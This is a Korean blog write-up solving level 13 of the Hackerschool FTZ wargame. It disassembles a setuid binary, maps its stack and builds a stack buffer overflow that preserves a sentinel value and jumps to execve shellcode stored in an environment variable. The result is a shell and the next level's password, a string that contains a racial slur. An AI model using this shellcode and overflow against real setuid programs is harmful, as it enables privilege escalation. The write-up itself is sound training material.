해커스쿨 FTZ [LEVEL13] 풀이
M4ndU
해커스쿨 FTZ [LEVEL13] 풀이입니다.
ID | level13
PW | have no clue
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level13
level13@192.168.31.128's password:
[level13@ftz level13]$ ls -l
total 28
-rwsr-x--- 1 level14 level13 13953 Mar 8 2003 attackme
-rw-r----- 1 root level13 258 Mar 8 2003 hint
drwxr-xr-x 2 root level13 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level13 4096 Jan 11 2009 tmp
[level13@ftz level13]$ cat hint
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
이번에도 깔끔하게 환경변수를 이용하여 문제를 풀겠습니...다?
소스를 보니 새로운 조건이 추가되었네요.
i 가 0x1234567이 아니라면 프로그램이 죽어버리네요.
근데 변수 선언 순서를 보면, i가 buf보다 먼저 선언되었으므로
i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있습니다.
이를 이용해서 i를 덮어쓰면 되겠죠?
실행에 옮깁시다!
일단 gdb를 통해 정확한 분석 ㄱㄱ
[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048]
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
오케이~
낮은 주소
buf[1024] [ebp-1048]
dummy[12]
i[4] [ebp-12]
dummy[8]
SFP[4]
RET[4]
높은 주소
이런 구조를 가지고 있는 것 같습니다.
그러면 buf[1024] 와 dummy[12]를 A로 채워주고, i를 01234567로 채워주고, dummy[8]과 SFP[4]를 다시 A로 채워준뒤 리턴주소를 덮어주면 될 것 같습니다. 파이썬 코드로 짜면
`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN"'`
이렇게 되겠네요.
그럼 이제 환경변수를 설정해 줍시다.
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level13@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level13@ftz tmp]$ gcc getenv.c -o getenv
[level13@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d
./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`
익스플로잇 완성!
실행!
[level13@ftz tmp]$ cd ..
[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is "what that nigga want?".
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL14] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL12] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL11] 풀이 (3) | 2018.02.08 |
해커스쿨 FTZ [LEVEL10] 풀이 (0) | 2018.02.07 |